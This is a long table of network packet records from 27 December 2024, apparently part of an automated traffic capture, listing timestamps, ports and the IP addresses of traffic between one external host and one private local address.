Dec 27, 2024 09:09:08.644438982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.644520044 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.646838903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.647018909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.647089958 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.649177074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.649333000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.649415970 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.651617050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.651638031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.651707888 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.654088974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.654102087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.654232025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.656511068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.656565905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.656589985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.658917904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.658965111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.659082890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.661393881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.661407948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.661533117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.663758993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.663820028 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.663831949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.666269064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.666280985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.666359901 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.753398895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.753500938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.753578901 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.754439116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.754503012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.755501032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.756526947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.756611109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.756711960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.758461952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.758687973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.758788109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.760510921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.760623932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.760674000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.762504101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.762586117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.762728930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.764488935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.764537096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.764858007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.766345978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.766448975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.768325090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.768376112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.768405914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.768455029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.770029068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.770168066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.770267010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.772042990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.772056103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.772106886 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.773823023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.773906946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.773966074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.775580883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.775873899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.776890993 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.777407885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.777616978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.779231071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.779334068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.779357910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.779407978 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.780952930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.781027079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.781171083 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.782767057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.782942057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.784512997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.784620047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.784679890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.784775019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.786062956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.786309958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.786365032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.787873030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.788007021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.788837910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.789443970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.789653063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.791188955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.791330099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.791341066 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.791436911 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.792844057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.793030024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.793111086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.794444084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.794656992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.796108961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.796225071 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.796283007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.796348095 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.797751904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.797926903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.798048973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.799396038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.799576998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.800832987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.801063061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.801393986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.802719116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.802836895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.802855015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.802910089 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.804519892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.804620028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.804852962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.806041002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.806168079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.807744026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.807796001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.807821035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.807899952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.809376001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.809488058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.809557915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.811045885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.811165094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.812680960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.812748909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.812773943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.814429045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.814549923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.814610004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.814686060 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.816118956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.816154003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.816824913 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.817826986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.817862988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.819371939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.819417000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.819425106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.819601059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.821067095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.821162939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.821225882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.822690964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.822812080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.824470043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.824503899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.824548006 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.824569941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.826158047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.826193094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.826896906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.827780008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.827816010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.829441071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.829474926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.830240011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.831028938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.831094027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.831180096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.831254959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.832720995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.832756996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.832865953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.834408998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.834445000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.835941076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.836009026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.836061001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.836127043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.837733984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.837785959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.837893963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.839410067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.839446068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.840893030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.840934038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.889960051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.954480886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.954561949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.954655886 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.955110073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.955122948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.955197096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.956008911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.956096888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.956337929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.957256079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.957318068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.957362890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.958583117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.958666086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.959845066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.959857941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.959933996 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.960931063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.961040974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.961091995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.962119102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.962263107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.963407040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.963465929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.963567972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.963618040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.964543104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.964689970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.964840889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.965735912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.965815067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.966898918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.966957092 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.966964960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.967014074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.968194962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.968208075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.968281031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.969301939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.969340086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.969396114 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.970526934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.970679045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.971712112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.971798897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.971807957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.971839905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.972882032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.973006964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.973052979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.974092960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.974181890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.975310087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.975379944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.975462914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.975517035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.976571083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.976624012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.976825953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.977677107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.977808952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.977983952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.978920937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.979082108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.979166031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.980103970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.980159044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.980303049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.981342077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.981396914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.981467962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.982522964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.982588053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.982671976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.983633041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.983768940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.984065056 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.984841108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.984966040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.985016108 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.986125946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.986176968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.986429930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.987296104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.987374067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.987435102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.988507986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.988560915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.988614082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.989701033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.989819050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.989866018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.990969896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.991040945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.991091013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.992101908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.992156029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.992197037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.993412018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.993447065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.993511915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.994528055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.994563103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.994724989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.995822906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.995858908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.995970011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.996869087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.997009039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.997056961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.998106003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.998157978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.998214960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.999226093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.999367952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.999412060 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.000507116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.000657082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.000720978 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.001642942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.001758099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.001806974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.002896070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.002969027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.003010035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.004070997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.004198074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.004240990 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.005229950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.005422115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.005462885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.006500006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.006552935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.006596088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.007628918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.007738113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.007781982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.008835077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.008954048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.009007931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.010061026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.010128021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.010174036 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.011223078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.011444092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.011488914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.012413025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.012860060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.012871027 CET	49731	56711	192.168.2.4	185.196.8.218
